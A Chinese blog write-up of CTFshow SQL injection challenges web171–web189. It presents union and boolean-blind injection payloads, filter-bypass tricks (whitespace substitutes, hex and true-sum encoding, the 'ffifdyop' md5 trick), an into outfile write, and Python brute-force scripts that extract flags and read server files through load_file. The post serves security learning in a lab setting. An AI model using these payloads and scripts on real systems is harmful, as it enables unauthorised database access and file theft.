CTFSHOW-web入门-sql注入（web171——web189）

原创 于 2025-08-18 20:17:28 发布 · 1.1k 阅读 · 29 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
收录于
Web安全

当前文章被收录于：

Web安全
12 篇文章 2 人学习
订阅专栏 查看详情
CTF

当前文章被收录于：

CTF
9 篇文章 0 人学习
订阅专栏 查看详情
sql注入

当前文章被收录于：

sql注入
7 篇文章 0 人学习
订阅专栏 查看详情

文章目录

web171（无过滤）

image-20250419124336706

通过下面的payload

1' or 1=1 --+

这个payload代到语句中就是

$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;";

可以发现即使前面对username和id的判断没成立，后面的1=1也必定成立，所以他会打印所有的用户信息。

image-20250419124641577

成功获得flag

web172

image-20250419130417551

打开题目看到一只猫，此时查看源代码。

image-20250419130457973

发现2.php也就是第二关的真实入口

image-20250419130545904

可以发现比上一关多加了一个对查询到的结果的用户名进行判断。

尝试下面的payload

-1' or 1=1 union select 1,2 --+

image-20250419130659929

可以发现显示的内容有两行并且都是回显点

然后尝试下面payload获取数据库名

-1' or 1=1 union select 1,database() --+

image-20250419130817382

成功获得数据库名为ctfshow_web

再获取表名

-1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' ) --+

image-20250419130903663

成功获得表名为ctfshow_user,ctfshow_user2

先查询ctfshow_user的列名

-1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' ) --+

image-20250419131147777

然后查询列信息

-1' or 1=1 union select 1,(select group_concat(username,'~',password) from ctfshow_web.ctfshow_user) --+

image-20250419131424054

发现flag处信息说flag不在这，那试试ctfshow_user2

image-20250419131520120

成功获得flag

其实写完才发现查询语句已经告诉了我们查的是ctfshow_user2，可以直接查这个表的信息，但是这样也演示了一遍常规的解题过程，要熟悉这一套流程。

web173

image-20250419133258230

可以看到这次是对序列化后的查询结果，看是否有flag，如果有则查询不成功，如果没有则查询成功。

那我们输出直接输出我们想要的password就好了

' union select 1,2,password from ctfshow_user3 --+

image-20250420094957506

web174

image-20250420085302860

这次是检测序列化后的结果中是否存在flag或则数字，如果存在则过滤掉。

那其实很容易便能想到将结果通过编码或者是某种替换规则来让结果中没有数字

首先我先想到的是base64编码，但是想到编码后也有数字说明不行。

那么就可以通过mysql中的REPLACE语句，将0-9的数字全部替换成自定义的字母A-J便可以绕过，然后再通过同样的方式解密即可获得flag。payload如下

1 ' union select to_base64(username),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 --+

image-20250420091349875

成功获得flag，然后我们也可以发现sql语句中可以通过to_base64来进行base64编码，日后可以用来绕过某些规则。比如前面的对flag的过滤就随便绕过。

然后我们编写python脚本将其还原

def convert_flag(encoded_str):
    # 定义大写字母到数字的映射规则
    mapping = {
        "A": "1", "B": "2", "C": "3", "D": "4", "E": "5",
        "F": "6", "G": "7", "H": "8", "I": "9", "J": "0"
    }

    result = []
    for char in encoded_str:
        if char in mapping:
            # 大写字母按规则转换
            result.append(mapping[char])
        elif char.isupper():
            # 如果遇到未定义的大写字母（如 K-Z），保留原字符并提示警告
            print(f"警告: 字符 '{char}' 未定义映射规则，将保留原值")
            result.append(char)
        else:
            # 小写字母和符号直接保留
            result.append(char)
    return "".join(result)


# 输入待转换的字符串
input_str = "acDeGeCI-eGbf-DDCf-HbDG-eaaDEbCCcbIc"
# 调用函数转换
output_str = convert_flag(input_str)
# 输出结果
print(f"转换后的Flag为: ctfshow{{{output_str}}}")

我还是菜鸡，不太会写，所以让ai写的。还是得多写多练代码能力

转换后的Flag为: ctfshow{ac4e7e39-e7bf-443f-8b47-eaa45b33cb9c}

web175

image-20250813190717664

这一次是过滤了所有的ascii码字符，那么想要直接将flag显示出来肯定不太可能了。

这时候可以将查询结果输出到指定文件中，又或者可以时间盲注。

image-20250813190914503

从指纹信息中可以发现使用的是nginx，而nginx的网站根目录是/var/www/html

我们便可以将查询结果输出到根目录下的文件里

payload：

-1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

image-20250813191148584

显示接口异常不用管，直接访问flag.txt

image-20250813191212973

web176（开始有过滤）

开始有过滤的sql注入

image-20250813191728370

先尝试最简单的注入

-1' or 1=1 --+

image-20250813192027035

直接拿到flag

web177

测试发现过滤了空格，绕过空格方式有下面几种

/**/
%0a：换行
%09：tab
%0c：换页
括号
反引号``

等等.....

payload：

-1'/**/union/**/select/**/1,username,password/**/from/**/ctfshow_user/**/%23

web178

测试发现过滤了/**/

换别的替代即可

-1'union%0aselect%0a1,username,password%0afrom%0actfshow_user%23

image-20250813194004599

web179

这一次测试发现，%0a与/**/以及%09都不行。试试用%0c

-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%23

image-20250813194152295

web180

测试发现将%23也就是#给过滤了，可以换成–%0c

payload：

-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user--%0c

image-20250813194554305

web181

这一次题目将过滤字符告诉我们了

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

可见将能代替空格的基本都给过滤了，并且select与into也给过滤了。这说明不让我们执行select语句，以及将结果输出到指定文件。

还可以通过下面的payload：

0'||username='flag
0'or(username)='flag

||其实就等效于or

代入到sql语句中就是

select id,username,password from ctfshow_user where username !='flag' and id = '0'||username='flag' limit 1;

image-20250813200843953

web182

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

这一次将flag也给过滤了

可以通过下面几种方式绕过：

concat拼接flag：
-1'||(username=concat('fl','ag'))and'1'='1

使用like模糊匹配：
-1'||(username)like'%fl%

使用%01代替空格
-1'||'1=1'--%01

image-20250813203144344

web183

image-20250814170419348

post 提交一个 tableName 参数进行查询，猜测表名还是 ctfshow_user：

tableName=ctfshow_user

image-20250814170549312

发现回显只有一个变量$user_count了。

并且依旧过滤了很多字符，但是发现like与where没有过滤，可以尝试模糊匹配

tableName=(ctfshow_user)where(pass)like'ctfshow{%'

image-20250814175322082

尝试匹配不相干的

tableName=(ctfshow_user)where(pass)like'%test%'

image-20250814175409807

十分明显的bool盲注的特征。

那么便可以通过不断往 flag 后面新增字符进行猜解，通过看响应中是否包含$user_count = 1;字段来判断是否匹配成功，最终拼凑成完整的flag；

import requests

url = "http://1705480f-47eb-455e-a5a4-4ef7d39d2871.challenge.ctf.show/select-waf.php"

# flag包含的字符集
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"

flag = "ctfshow{"

# 不知道flag多少位，所以循环50次
for i in range(0,50):
    # 遍历字符集
    for j in dic:
        payload = {'tableName': f"(ctfshow_user)where(pass)like'{flag+j}%'"}
        response = requests.post(url,data=payload)
        if "$user_count = 1;" in response.text:
            flag+=j
            break
    print(flag)
    
    # flag以}结尾则结束
    if flag.endswith('}'):
        break

image-20250814175843890

成功跑出flag

web184

image-20250814191901623

这一次sql语句变成了count(*)，没有指定明确的字段了。

还是先查一下是不是ctfshow_user表

tableName=ctfshow_user

image-20250814192135538

发现表没有变，但是这一次又多过滤了一些字符，引号与where也不能用了。但是like和空格没被过滤。

可以使用having代替where，like匹配的字段可以通过十六进制编码绕过。

补充知识点：having 是从前筛选的字段再筛选，而 where 是从数据表中的字段直接进行的筛选的，如果已经筛选出了某个字段，这种情况下 having 和 where 等效，但是如果没有 select 某个字段，后面直接 having 这个字段，就会报错。

比如说

select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效

select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错，因为前面并没有筛选出 goods_price 字段

所以payload如下：

tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25

通过group by筛选出一个字段，0x63746673686f777b25是ctfshow{%的十六进制编码。

image-20250814192907023

发现有回显了，那么依然可以使用bool盲注。

我们修改一下上一题的脚本

import requests

url = "http://3b6b22f0-e5f0-45d3-8b9d-535e0ddd80aa.challenge.ctf.show/select-waf.php"
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"
dic = [f"{ord(c):02x}" for c in dic]  # 将字符转为十六进制格式

flag = "0x63746673686f777b" # ctfshow{
for i in range(0,50):
    for j in dic:
        payload = {'tableName': f"ctfshow_user group by pass having pass like {flag+j}25"}
        response = requests.post(url,data=payload)
        if "$user_count = 1;" in response.text:
            flag+=j
            break
    print(flag)
    if flag.endswith('7d'): # 以}结尾
        flag = flag[2::]  # 去除0x
        flag = bytes.fromhex(flag)
        print(flag)
        break

image-20250814195008254

直接跑出flag

web185

这一次将数字都给过滤掉了

image-20250814200827875

可以使用 true 结合 concat 拼接出数字

select concat(true+true+true+true+true,true+true+true+true+true+true)

# 56

附上一个yu师傅的脚本（yu师傅的身影无处不在，实在是太强了）

#author:yu22x
import requests
import string
url="http://5f9e9c0c-2ce8-4188-b023-4f5b9d5ca977.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break

再附上一个我觉得写的很好的脚本

import requests

def creatNum(n): # 3 = true + true + true
    str = ''
    for i in range(1,n+1):
        if i == 1:
            str += "true"
        else:
            str += "+true"
    return str

def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
    res = ""
    for i in range(1,len(str)+1):
        temp = ord(str[i-1])
        if i == 1:
            res = "chr(" + creatNum(temp) + ")"
        else:
            res += "," + "chr(" + creatNum(temp) + ")"
    return res

url = "http://aa30843a-f24f-4fb5-b65d-b754e2918af7.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
    for ch in letters:
        result = creatStr(flag + ch)
        data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
        res = requests.post(url = url, data = data)
        if "$user_count = 1;" in res.text:
            flag += ch
            print(flag)
            # if ch == '}': 
            #     exit()
            break # 寻找下一个位置 ctfshow{554eba7f-6703-44fd-85ad-c35a8fe3512a}

image-20250814201052796

套上ctfshow{}即可

web186

image-20250814210448612

这一题比上一题多过滤了%|<|>|^

还是可以使用上一关的脚本

import requests

def creatNum(n): # 3 = true + true + true
    str = ''
    for i in range(1,n+1):
        if i == 1:
            str += "true"
        else:
            str += "+true"
    return str

def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
    res = ""
    for i in range(1,len(str)+1):
        temp = ord(str[i-1])
        if i == 1:
            res = "chr(" + creatNum(temp) + ")"
        else:
            res += "," + "chr(" + creatNum(temp) + ")"
    return res

url = "http://a22dae2c-2489-431c-955b-1cdb2e81f449.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
    for ch in letters:
        result = creatStr(flag + ch)
        data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
        res = requests.post(url = url, data = data)
        if "$user_count = 1;" in res.text:
            flag += ch
            print(flag)
            # if ch == '}':
            #     exit()
            break

image-20250814220253264

web187

image-20250814224741382

md5($_POST[‘password’],true)

对提交的 password 进行 md5 加密，由于 md5 函数第二个参数为 true，因此会返回16 字节的二进制字符串。

要求用户名只能是admin，那么注入点只能是password，但是password会进行md5(…, true)。

这时候便要提一个神奇的字符串：ffifdyop

image-20250814225509861

将这个拿去Hex解密

image-20250814225849724

在转为字符串时会出现乱码 'or’6É]é!r,ùíb。

第一个引号可以将password的引号给闭合，而or后面的第一个字母只要不是0，都会被认为是true，从而实现sql注入的绕过。

所以用户名是admin，密码是ffifdyop。

image-20250814230225309

web188（sql特性）

image-20250814231735360

在sql中，数字和字符串的比较是弱类型的，如果在比较操作中涉及到字符串和数字，SQL 会尝试将字符串转换为数字，那么只要字符串不是以数字开头，比较时都会转为数字 0 。

而此题中的username并没有引号。如果我们让username=0的话，便可以匹配到所有username是以字母开头的。

关于密码的比较使用两个等号，也是弱类型比较。

因此我们可以用户名和密码都输入 0 ，尝试登录一个用户名和密码都不是数字开头的用户：

image-20250814232129224

在响应中可以看到flag

image-20250814232107190

web189

image-20250815142703740

使用00显示密码错误。

题目提示说flag在flag在api/index.php文件中。但是打开查看什么都看不到

image-20250815142830670

第一想法就是通过mysql当中的load_file进行文件读取。

但是此题依旧过滤了大部分的字符

image-20250815143057175

可以使用bool盲注的方式，通过load_file读取文件，并截取每一个字符与可打印字符比对，直到将文件内容全部打印。

脚本如下

#author:yu22x
import requests
import string
url="http://8e7d622f-9b8e-4a11-9388-5b2b4d91f152.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
# 从257个字符开始才是flag
for i in range(257,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)
            print(flag)
            break

image-20250815143307508

标签
#sql #数据库 #web安全
CTFshow之web171~180---SQL注入（1）
金 帛的博客
06-04 3908
ctfshow，SQL注入的wp
CTF web入门之SQL注入
最新发布
qq_41701460的博客
04-15 1343
HAVING子句用于对聚合数据进行筛选。它通常与GROUP BY一起使用。主要用于聚合函数的条件过滤，可以组合多个条件。十六进制：可以前面加x，后面用引号包裹或者0x；也可以和算数运算结合表示数字。#binascii 库：用于进行二进制数据和 ASCII 编码之间的转换，在本代码中主要用于将字符串转换为十六进制字符串。#requests 库：用于发送 HTTP 请求，在代码里会用它向目标网站发送 POST 请求来进行 SQL 注入尝试。#定义将字符串转换为十六进制字符串的函数。
ctfshow web189 无单引号，利用回显不同，盲注
10-21
ctfshow web189 无单引号，利用回显不同，盲注
ctf.show(超详解)——sql注入web171-web182
2201_76115387的博客
07-28 997
sql注入
【ctfshow】- web189
weixin_52116519的博客
03-01 4704
select pass from ctfshow_user where username = if(load_file('/var/www/html/api/index.php')regexp('ctfshow'),0,1) username = 0 返回密码错误，说明存在该用户 username = 1 返回查询失败 import requests import sys flag="ctfshow{" url="http://9402b96a-bff0-480e-8e33-86347958c901.c
CTFSHOW web入门——web171
m0_74093152的博客
03-26 601
查询用户名为flag的信息 1' union select id,username,password from ctfshow_user where username='flag' --+然后查询库名 1' union select 1,2,database() --+首先查询有多少列，1' order by 3--+查看ctfshow_web库的表。
CTFshow web入门web171-sql1
weixin_74336671的博客
10-25 315
说明到3就没有了，直接进行union查询 (此时将1改为-1)本题考察sql注入联合查询union select。继续到1‘ order by 4--+首先我们试着注入1‘ and 1=1’继续到1‘ order by 3--+回显异常，说明存在注入。
CTFSHOW WEB入门——sql注入
Chur的博客
07-22 6680
ctfshow 靶场 web入门 sql注入系列
CTFSHOW sql注入 web入门171-200
SwagRee_的博客
04-11 1929
这道题过滤了更多 把数字也过滤了 那形如0x这种表示十六进制转换的也不行了 但是依然没有对我们的like进行限制 那我们想办法表达出like后面的内容就好了 修改一下上一题的脚本 这里用到concat函数进行字符的拼接 来完成绕过 通过str_to_num这个函数里 对true的运算 绕过数字的检测一个true就是1 2个true相加就是2 true+true+true=3。我直接查password查到了 以下是其他师傅的方法。r,ùíb. 这种'or'的方式 产生了强制达成条件的效果。
ctfshow-web入门-sql注入（web171-web175）
Welcome To My6n Blog
07-31 3843
这里只出了一个 id，因为换行导致我们误判为到了最后一个字符，因为我们的字典里只包括数字、小写字母和下划线，因此字符没找到，便跳出外层循环结束了代码。判断一下这次又是三个字段数了，因为还是对输出过滤了 flag，所有我们还是不查用户名，用占位符占位即可。接下来我们先判断下它数据库名的长度，这个其实可以通过 burpsuite 的攻击模块爆破的，没关系，我们这里手写一遍，也锻炼下我们 python 的能力。
ctfshow web入门 sql注入
weixin_74427106的博客
02-10 4304
sql注入分为多种类型的注入，我将对ctfshow web入门的sql入门进行题目分类，并在最后对每种sql注入做一下总结;
ctf_show笔记篇（web入门---sql注入）171-189
whale_waves的博客
03-12 1725
例如：原理，flag是十六进制的，最大到f所以可以用后面的英文来替换。利用into outfile来将查询到的表的内容写入到服务器的文件里。但这种情况一般需要知道web的地址例如/var/www/html/再利用python或者其他或者人工逆向替换回来。
ctfshow-web入门-sql注入（web186-web190）
Welcome To My6n Blog
08-06 2375
在上一题中我们提到了，使用 true+true 的方法构造出数字比如 true+true+true 就可以构造出 3，再使用 char 函数将数字转为对应的 ASCII 字符，最终实现我们 payload 的转换。在 SQL 中，数字和字符串的比较是弱类型的，如果在比较操作中涉及到字符串和数字，SQL 会尝试将字符串转换为数字，那么只要字符串不是以数字开头，比较时都会转为数字 0。拿到 flag：ctfshow{e54220e0-e81f-4e0e-ad32-0bbbbdd43d83}
ctfshow学习记录-web入门（sql注入181-190）
龟速更新的九某人
09-24 3678
ctfshow学习记录-web入门（sql注入web181-web190）
CTFshow——web入门——sql注入
h_adam的博客
03-14 7324
web入门——sql注入基础知识点判断是否注入order by 判断列数web171web172web173 基础知识点 判断是否注入 使用注释符–+ +代表的是空格 或者使用%23来做注释符 1' and 1=1%23 order by 判断列数 order by 是根据某一列进行排序 使用 1' order by 3--+ 返回正常 1' order by 4--+ 没有数据 说明列数是3 web171 本地测试，查询id为id = '9999' or id='3'，9999不存在时会查询id=3
ctfshow-web入门-sql注入-web171
HkD01L的博客
11-22 478
此题为 【从0开始学web】系列第一百七十一题 此系列题目从最基础开始，题目遵循循序渐进的原则 从此题开始的150道题全部为sql注入，准备好了吗？
CTFshow-web入门171（sql注入）
Hunter909的博客
10-12 367
username若是对于flag就会被屏蔽、隐藏（没有办法去改变username!=flag），但是会发现ID排序是有顺序的，就可以慢慢试id = 25,id = 26......发现id=26时，flag会出来。因为$sql = "select username,password from user where username!这里是具有sql注入漏洞的，它这里没有限定条件，直接运用简单的sql注入把隐藏的flag找出来就行。
ctfshow web入门 SQl注入web171--web179
2301_81040377的博客
04-18 753
就能一次性查出25和26的，如果25存在就直接输出flag了，不然的话26存在也行。反正这种盲注问题用脚本就行了学的话看一下这篇文章。过滤了很简单的，当然是select啦，大小写绕过。还用用脚本注入的，但是我还没有成功过所以就…时间盲注，参考下面的文章，还是脚本做。，9999不存在时会查询id=3。我不知道怎么整的，看出是布尔盲注。进行猜测表格的id只有24个。没反应没事我们直接访问试试。是网站文件默认存放位置。本地测试，查询id为。还是base64解码。
ctfshow-web入门-sql
qq_43618536的博客
07-10 1175
ctfshow-web入门-sql
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值